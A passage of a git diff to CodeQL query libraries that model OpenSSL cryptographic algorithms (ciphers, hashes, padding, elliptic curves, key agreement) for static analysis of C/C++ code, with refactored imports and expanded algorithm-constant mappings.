experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import AlgToAVCFlow +private import BlockAlgorithmInstance /** * Given a `KnownOpenSSLCipherAlgorithmConstant`, converts this to a cipher family type. - * Does not bind if there is know mapping (no mapping to 'unknown' or 'other'). + * Does not bind if there is no mapping (no mapping to 'unknown' or 'other'). */ predicate knownOpenSSLConstantToCipherFamilyType( KnownOpenSSLCipherAlgorithmConstant e, Crypto::KeyOpAlg::TAlgorithm type @@ -101,13 +102,14 @@ class KnownOpenSSLCipherConstantAlgorithmInstance extends OpenSSLAlgorithmInstan // TODO or trace through getter ctx to set padding } - override string getRawAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } - override string getKeySizeFixed() { - exists(int keySize | - this.(KnownOpenSSLCipherAlgorithmConstant).getExplicitKeySize() = keySize and - result = keySize.toString() - ) + override int getKeySizeFixed() { + this.(KnownOpenSSLCipherAlgorithmConstant).getExplicitKeySize() = result } override Crypto::KeyOpAlg::Algorithm getAlgorithmType() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll new file mode 100644 index 000000000000..bebca15d4773 --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -0,0 +1,53 @@ +import cpp +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import OpenSSLAlgorithmInstanceBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import AlgToAVCFlow + +class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, + Crypto::EllipticCurveInstance instanceof KnownOpenSSLEllipticCurveAlgorithmConstant +{ + OpenSSLAlgorithmValueConsumer getterCall; + + KnownOpenSSLEllipticCurveConstantAlgorithmInstance() { + // Two possibilities: + // 1) The source is a literal and flows to a getter, then we know we have an instance + // 2) The source is a KnownOpenSSLAlgorithm is call, and we know we have an instance immediately from that + // Possibility 1: + this instanceof Literal and + exists(DataFlow::Node src, DataFlow::Node sink | + // Sink is an argument to a CipherGetterCall + sink = getterCall.getInputNode() and + // Source is `this` + src.asExpr() = this and + // This traces to a getter + KnownOpenSSLAlgorithmToAlgorithmValueConsumerFlow::flow(src, sink) + ) + or + // Possibility 2: + this instanceof DirectAlgorithmValueConsumer and getterCall = this + } + + override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } + + override string getRawEllipticCurveName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } + + override Crypto::TEllipticCurveType getEllipticCurveType() { + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getParsedEllipticCurveName(), _, result) + } + + override string getParsedEllipticCurveName() { + result = this.(KnownOpenSSLEllipticCurveAlgorithmConstant).getNormalizedName() + } + + override int getKeySize() { + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.(KnownOpenSSLEllipticCurveAlgorithmConstant) + .getNormalizedName(), result, _) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll index 985e36dbdd71..ca1882f3b6e3 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll @@ -1,8 +1,9 @@ import cpp -import experimental.quantum.Language -import KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -import AlgToAVCFlow +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import AlgToAVCFlow predicate knownOpenSSLConstantToHashFamilyType( KnownOpenSSLHashAlgorithmConstant e, Crypto::THashType type @@ -75,7 +76,11 @@ class KnownOpenSSLHashConstantAlgorithmInstance extends OpenSSLAlgorithmInstance not knownOpenSSLConstantToHashFamilyType(this, _) and result = Crypto::OtherHashType() } - override string getRawHashAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawHashAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override int getFixedDigestLength() { this.(KnownOpenSSLHashAlgorithmConstant).getExplicitDigestLength() = result diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll new file mode 100644 index 000000000000..c72b9a8e9254 --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll @@ -0,0 +1,63 @@ +import cpp +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import AlgToAVCFlow + +predicate knownOpenSSLConstantToKeyAgreementFamilyType( + KnownOpenSSLKeyAgreementAlgorithmConstant e, Crypto::TKeyAgreementType type +) { + exists(string name | + name = e.getNormalizedName() and + ( + name = "ECDH" and type = Crypto::ECDH() + or + name = "DH" and type = Crypto::DH() + or + name = "EDH" and type = Crypto::EDH() + or + name = "ESDH" and type = Crypto::EDH() + ) + ) +} + +class KnownOpenSSLHashConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, + Crypto::KeyAgreementAlgorithmInstance instanceof KnownOpenSSLKeyAgreementAlgorithmConstant +{ + OpenSSLAlgorithmValueConsumer getterCall; + + KnownOpenSSLHashConstantAlgorithmInstance() { + // Two possibilities: + // 1) The source is a literal and flows to a getter, then we know we have an instance + // 2) The source is a KnownOpenSSLAlgorithm is call, and we know we have an instance immediately from that + // Possibility 1: + this instanceof Literal and + exists(DataFlow::Node src, DataFlow::Node sink | + // Sink is an argument to a CipherGetterCall + sink = getterCall.getInputNode() and + // Source is `this` + src.asExpr() = this and + // This traces to a getter + KnownOpenSSLAlgorithmToAlgorithmValueConsumerFlow::flow(src, sink) + ) + or + // Possibility 2: + this instanceof DirectAlgorithmValueConsumer and getterCall = this + } + + override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } + + override Crypto::TKeyAgreementType getKeyAgreementType() { + knownOpenSSLConstantToKeyAgreementFamilyType(this, result) + or + not knownOpenSSLConstantToKeyAgreementFamilyType(this, _) and + result = Crypto::OtherKeyAgreementType() + } + + override string getRawKeyAgreementAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 77caf0bb378c..7b2b9549d001 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -1,5 +1,5 @@ import cpp -import experimental.quantum.OpenSSL.LibraryDetector +import experimental.quantum.OpenSSL.GenericSourceCandidateLiteral predicate resolveAlgorithmFromExpr(Expr e, string normalizedName, string algType) { resolveAlgorithmFromCall(e, normalizedName, algType) @@ -20,7 +20,7 @@ class KnownOpenSSLCipherAlgorithmConstant extends KnownOpenSSLAlgorithmConstant KnownOpenSSLCipherAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%encryption") + algType.matches("%ENCRYPTION") } int getExplicitKeySize() { @@ -33,30 +33,20 @@ class KnownOpenSSLCipherAlgorithmConstant extends KnownOpenSSLAlgorithmConstant } class KnownOpenSSLPaddingAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - KnownOpenSSLPaddingAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%padding") + exists(string algType | + resolveAlgorithmFromExpr(this, _, algType) and + algType.matches("%PADDING") + ) } } class KnownOpenSSLBlockModeAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - - KnownOpenSSLBlockModeAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%block_mode") - } + KnownOpenSSLBlockModeAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "BLOCK_MODE") } } class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - - KnownOpenSSLHashAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%hash") - } + KnownOpenSSLHashAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "HASH") } int getExplicitDigestLength() { exists(string name | @@ -67,6 +57,20 @@ class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { } } +class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { + KnownOpenSSLEllipticCurveAlgorithmConstant() { + resolveAlgorithmFromExpr(this, _, "ELLIPTIC_CURVE") + } +} + +class KnownOpenSSLSignatureAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { + KnownOpenSSLSignatureAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "SIGNATURE") } +} + +class KnownOpenSSLKeyAgreementAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { + KnownOpenSSLKeyAgreementAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "KEY_AGREEMENT") } +} + /** * Resolves a call to a 'direct algorithm getter', e.g., EVP_MD5() * This approach to fetching algorithms was used in OpenSSL 1.0.2. @@ -80,7 +84,6 @@ class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { * alias = "dss1" and target = "dsaWithSHA1" */ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { - isPossibleOpenSSLFunction(c.getTarget()) and exists(string name, string parsedTargetName | parsedTargetName = c.getTarget().getName().replaceAll("EVP_", "").toLowerCase().replaceAll("_", "-") and @@ -94,10 +97,10 @@ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { * if `e` resolves to a known algorithm. * If this predicate does not hold, then `e` can be interpreted as being of `UNKNOWN` type. */ -predicate resolveAlgorithmFromLiteral(Literal e, string normalized, string algType) { - exists(int nid | - nid = getPossibleNidFromLiteral(e) and knownOpenSSLAlgorithmLiteral(_, nid, normalized, algType) - ) +predicate resolveAlgorithmFromLiteral( + OpenSSLGenericSourceCandidateLiteral e, string normalized, string algType +) { + knownOpenSSLAlgorithmLiteral(_, e.getValue().toInt(), normalized, algType) or exists(string name | name = resolveAlgorithmAlias(e.getValue()) and @@ -116,30 +119,6 @@ string resolveAlgorithmAlias(string name) { ) } -private int getPossibleNidFromLiteral(Literal e) { - result = e.getValue().toInt() and - not e instanceof CharLiteral and - not e instanceof StringLiteral and - // ASSUMPTION, no negative numbers are allowed - // RATIONALE: this is a performance improvement to avoid having to trace every number - not exists(UnaryMinusExpr u | u.getOperand() = e) and - // OPENSSL has a special macro for getting every line, ignore it - not exists(MacroInvocation mi | mi.getExpr() = e and mi.getMacroName() = "OPENSSL_LINE") and - // Filter out cases where an int is assigned into a pointer, e.g., char* x = NULL; - not exists(Assignment a | - a.getRValue() = e and a.getLValue().getType().getUnspecifiedType() instanceof PointerType - ) and - not exists(Initializer i | - i.getExpr() = e and - i.getDeclaration().getADeclarationEntry().getUnspecifiedType() instanceof PointerType - ) and - // Filter out cases where an int is returned into a pointer, e.g., return NULL; - not exists(ReturnStmt r | - r.getExpr() = e and - r.getEnclosingFunction().getType().getUnspecifiedType() instanceof PointerType - ) -} - string getAlgorithmAlias(string alias) { customAliases(result, alias) or @@ -166,6 +145,14 @@ predicate customAliases(string target, string alias) { * The `target` and `alias` are converted to lowercase to be of a standard form. */ predicate defaultAliases(string target, string alias) { + // "DH" and "DHX" are not aliases in the traditional sense, + // i.e., they are not registered as aliases explicitly, + // rather they appear in common usage, and experiments reveal their + // NID matches those of the `dhKeyAgreement` and `x9.42 dh` algorithms respectively. + alias = "dh" and target = "dhKeyAgreement" + or + alias = "dhx" and target = "x9.42 dh" + or alias = "aes128" and target = "aes-128-cbc" or alias = "aes192" and target = "aes-192-cbc" @@ -253,11 +240,6 @@ predicate defaultAliases(string target, string alias) { alias = "ssl3-sha1" and target = "sha1" } -predicate tbd(string normalized, string algType) { - knownOpenSSLAlgorithmLiteral(_, _, normalized, algType) and - algType = "HASH" -} - /** * Enumeration of all known crypto algorithms for openSSL * `name` is all lower case (caller's must ensure they pass in lower case) @@ -266,6 +248,10 @@ predicate tbd(string normalized, string algType) { * `algType` is the type of algorithm (e.g., "SYMMETRIC_ENCRYPTION") */ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, string algType) { + name = "dhKeyAgreement" and nid = 28 and normalized = "DH" and algType = "KEY_AGREEMENT" + or + name = "x9.42 dh" and nid = 29 and normalized = "DH" and algType = "KEY_AGREEMENT" + or name = "rsa" and nid = 19 and normalized = "RSA" and algType = "ASYMMETRIC_ENCRYPTION" or name = "prime192v1" and nid = 409 and normalized = "PRIME192V1" and algType = "ELLIPTIC_CURVE" @@ -284,8 +270,12 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "ed25519" and nid = 1087 and normalized = "ED25519" and algType = "ELLIPTIC_CURVE" or + name = "ed25519" and nid = 1087 and normalized = "ED25519" and algType = "SIGNATURE" + or name = "ed448" and nid = 1088 and normalized = "ED448" and algType = "ELLIPTIC_CURVE" or + name = "ed448" and nid = 1088 and normalized = "ED448" and algType = "SIGNATURE" + or name = "md2" and nid = 3 and normalized = "MD2" and algType = "HASH" or name = "sha" and nid = 41 and normalized = "SHA" and algType = "HASH" @@ -894,6 +884,8 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "id-alg-dh-sig-hmac-sha1" and nid = 325 and normalized = "SHA1" and algType = "HASH" or + name = "id-alg-dh-sig-hmac-sha1" and nid = 325 and normalized = "DH" and algType = "KEY_AGREEMENT" + or name = "aes-128-ofb" and nid = 420 and normalized = "AES-128" and algType = "SYMMETRIC_ENCRYPTION" or name = "aes-128-ofb" and nid = 420 and normalized = "OFB" and algType = "BLOCK_MODE" @@ -1395,9 +1387,9 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "kx-rsa" and nid = 1037 and normalized = "RSA" and algType = "ASYMMETRIC_ENCRYPTION" or - name = "kx-ecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kx-ecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or - name = "kx-ecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kx-ecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or name = "kx-rsa-psk" and nid = 1042 and normalized = "RSA" and algType = "ASYMMETRIC_ENCRYPTION" or @@ -1705,8 +1697,12 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "x448" and nid = 1035 and normalized = "X448" and algType = "ELLIPTIC_CURVE" or + name = "x448" and nid = 1035 and normalized = "X448" and algType = "KEY_AGREEMENT" + or name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "ELLIPTIC_CURVE" or + name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "KEY_AGREEMENT" + or name = "authecdsa" and nid = 1047 and normalized = "ECDSA" and algType = "SIGNATURE" or name = "authgost01" and nid = 1050 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" @@ -1805,51 +1801,101 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "SHA1" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha1kdf-scheme" and + nid = 941 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha224kdf-scheme" and nid = 942 and normalized = "SHA-224" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha224kdf-scheme" and + nid = 942 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha256kdf-scheme" and nid = 943 and normalized = "SHA-256" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha256kdf-scheme" and + nid = 943 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha384kdf-scheme" and nid = 944 and normalized = "SHA-384" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha384kdf-scheme" and + nid = 944 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha512kdf-scheme" and nid = 945 and normalized = "SHA-512" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha512kdf-scheme" and + nid = 945 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha1kdf-scheme" and nid = 936 and normalized = "SHA1" and algType = "HASH" or + name = "dhsinglepass-stddh-sha1kdf-scheme" and + nid = 936 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha224kdf-scheme" and nid = 937 and normalized = "SHA-224" and algType = "HASH" or + name = "dhsinglepass-stddh-sha224kdf-scheme" and + nid = 937 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha256kdf-scheme" and nid = 938 and normalized = "SHA-256" and algType = "HASH" or + name = "dhsinglepass-stddh-sha256kdf-scheme" and + nid = 938 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha384kdf-scheme" and nid = 939 and normalized = "SHA-384" and algType = "HASH" or + name = "dhsinglepass-stddh-sha384kdf-scheme" and + nid = 939 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha512kdf-scheme" and nid = 940 and normalized = "SHA-512" and algType = "HASH" or + name = "dhsinglepass-stddh-sha512kdf-scheme" and + nid = 940 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dsa-old" and nid = 67 and normalized = "DSA" and algType = "SIGNATURE" or name = "dsa-sha" and nid = 66 and normalized = "DSA" and algType = "SIGNATURE" @@ -2009,7 +2055,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" or - name = "gost r 34.10-2001 dh" and + name = "gost r 34.10-2001 dh" and // TODO: review this algorithm nid = 817 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" @@ -2079,7 +2125,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" or - name = "gost r 34.10-94 dh" and + name = "gost r 34.10-94 dh" and // TODO: review this algorithm nid = 818 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" @@ -2294,7 +2340,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOSTR34102001" and algType = "SYMMETRIC_ENCRYPTION" or - name = "id-gostr3410-2001dh" and + name = "id-gostr3410-2001dh" and // TODO: review this algorithm nid = 817 and normalized = "GOSTR34102001" and algType = "SYMMETRIC_ENCRYPTION" @@ -2359,7 +2405,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOSTR341094" and algType = "SYMMETRIC_ENCRYPTION" or - name = "id-gostr3410-94dh" and + name = "id-gostr3410-94dh" and // TODO: review this algorithm nid = 818 and normalized = "GOSTR341094" and algType = "SYMMETRIC_ENCRYPTION" @@ -2443,16 +2489,31 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "3DES" and algType = "SYMMETRIC_ENCRYPTION" or + name = "id-smime-alg-esdhwith3des" and + nid = 241 and + normalized = "ESDH" and + algType = "KEY_AGREEMENT" + or name = "id-smime-alg-esdhwithrc2" and nid = 242 and normalized = "RC2" and algType = "SYMMETRIC_ENCRYPTION" or + name = "id-smime-alg-esdhwithrc2" and + nid = 242 and + normalized = "ESDH" and + algType = "KEY_AGREEMENT" + or name = "id-smime-alg-rc2wrap" and nid = 244 and normalized = "RC2" and algType = "SYMMETRIC_ENCRYPTION" or + name = "id_smime_alg_esdh" and + nid = 245 and + normalized = "ESDH" and + algType = "KEY_AGREEMENT" + or name = "id-tc26-gost-28147-param-z" and nid = 1003 and normalized = "GOST28147" and @@ -2498,9 +2559,9 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOST34102012" and algType = "SYMMETRIC_ENCRYPTION" or - name = "kxecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kxecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or - name = "kxecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kxecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or name = "kxgost" and nid = 1045 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" or diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll index dc49c139cf05..b05ee9180b9b 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstanceBase.qll @@ -1,5 +1,5 @@ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase abstract class OpenSSLAlgorithmInstance extends Crypto::AlgorithmInstance { abstract OpenSSLAlgorithmValueConsumer getAVC(); diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll index 7a77a4c3e13e..55beb58588b3 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll @@ -3,3 +3,4 @@ import CipherAlgorithmInstance import PaddingAlgorithmInstance import BlockAlgorithmInstance import HashAlgorithmInstance +import EllipticCurveAlgorithmInstance diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll index 4fb4d0818697..b4c34607e450 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll @@ -1,13 +1,31 @@ import cpp -import experimental.quantum.Language -import OpenSSLAlgorithmInstanceBase -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import AlgToAVCFlow -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import experimental.quantum.Language +private import OpenSSLAlgorithmInstanceBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import AlgToAVCFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase + +/** + * A class to define padding specific integer values. + * from rsa.h in openssl: + * # define RSA_PKCS1_PADDING 1 + * # define RSA_NO_PADDING 3 + * # define RSA_PKCS1_OAEP_PADDING 4 + * # define RSA_X931_PADDING 5 + * # define RSA_PKCS1_PSS_PADDING 6 + * # define RSA_PKCS1_WITH_TLS_PADDING 7 + * # define RSA_PKCS1_NO_IMPLICIT_REJECT_PADDING 8 + */ +class OpenSSLPaddingLiteral extends Literal { + // TODO: we can be more specific about where the literal is in a larger expression + // to avoid literals that are clealy not representing an algorithm, e.g., array indices. + OpenSSLPaddingLiteral() { this.getValue().toInt() in [0, 1, 3, 4, 5, 6, 7, 8] } +} /** * Given a `KnownOpenSSLPaddingAlgorithmConstant`, converts this to a padding family type. - * Does not bind if there is know mapping (no mapping to 'unknown' or 'other'). + * Does not bind if there is no mapping (no mapping to 'unknown' or 'other'). */ predicate knownOpenSSLConstantToPaddingFamilyType( KnownOpenSSLPaddingAlgorithmConstant e, Crypto::TPaddingType type @@ -59,19 +77,8 @@ class KnownOpenSSLPaddingConstantAlgorithmInstance extends OpenSSLAlgorithmInsta this instanceof KnownOpenSSLPaddingAlgorithmConstant and isPaddingSpecificConsumer = false or - // Possibility 3: - // from rsa.h in openssl: - // # define RSA_PKCS1_PADDING 1 - // # define RSA_NO_PADDING 3 - // # define RSA_PKCS1_OAEP_PADDING 4 - // # define RSA_X931_PADDING 5 - // /* EVP_PKEY_ only */ - // # define RSA_PKCS1_PSS_PADDING 6 - // # define RSA_PKCS1_WITH_TLS_PADDING 7 - // /* internal RSA_ only */ - // # define RSA_PKCS1_NO_IMPLICIT_REJECT_PADDING 8 - this instanceof Literal and - this.getValue().toInt() in [0, 1, 3, 4, 5, 6, 7, 8] and + // Possibility 3: padding-specific literal + this instanceof OpenSSLPaddingLiteral and exists(DataFlow::Node src, DataFlow::Node sink | // Sink is an argument to a CipherGetterCall sink = getterCall.(OpenSSLAlgorithmValueConsumer).getInputNode() and @@ -83,28 +90,32 @@ class KnownOpenSSLPaddingConstantAlgorithmInstance extends OpenSSLAlgorithmInsta isPaddingSpecificConsumer = true } - override string getRawPaddingAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawPaddingAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } + Crypto::TPaddingType getKnownPaddingType() { + this.(Literal).getValue().toInt() in [1, 7, 8] and result = Crypto::PKCS1_v1_5() + or + this.(Literal).getValue().toInt() = 3 and result = Crypto::NoPadding() + or + this.(Literal).getValue().toInt() = 4 and result = Crypto::OAEP() + or + this.(Literal).getValue().toInt() = 5 and result = Crypto::ANSI_X9_23() + or + this.(Literal).getValue().toInt() = 6 and result = Crypto::PSS() + } + override Crypto::TPaddingType getPaddingType() { isPaddingSpecificConsumer = true and ( - if this.(Literal).getValue().toInt() in [1, 7, 8] - then result = Crypto::PKCS1_v1_5() - else - if this.(Literal).getValue().toInt() = 3 - then result = Crypto::NoPadding() - else - if this.(Literal).getValue().toInt() = 4 - then result = Crypto::OAEP() - else - if this.(Literal).getValue().toInt() = 5 - then result = Crypto::ANSI_X9_23() - else - if this.(Literal).getValue().toInt() = 6 - then result = Crypto::PSS() - else result = Crypto::OtherPadding() + result = this.getKnownPaddingType() + or + not exists(this.getKnownPaddingType()) and result = Crypto::OtherPadding() ) or isPaddingSpecificConsumer = false and diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll index 8fa65860b60c..8aa5d946baee 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll @@ -1,9 +1,8 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.LibraryDetector -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase -import OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import OpenSSLAlgorithmValueConsumerBase abstract class CipherAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } @@ -14,7 +13,6 @@ class EVPCipherAlgorithmValueConsumer extends CipherAlgorithmValueConsumer { EVPCipherAlgorithmValueConsumer() { resultNode.asExpr() = this and - isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( this.(Call).getTarget().getName() in [ "EVP_get_cipherbyname", "EVP_get_cipherbyobj", "EVP_get_cipherbynid" diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll 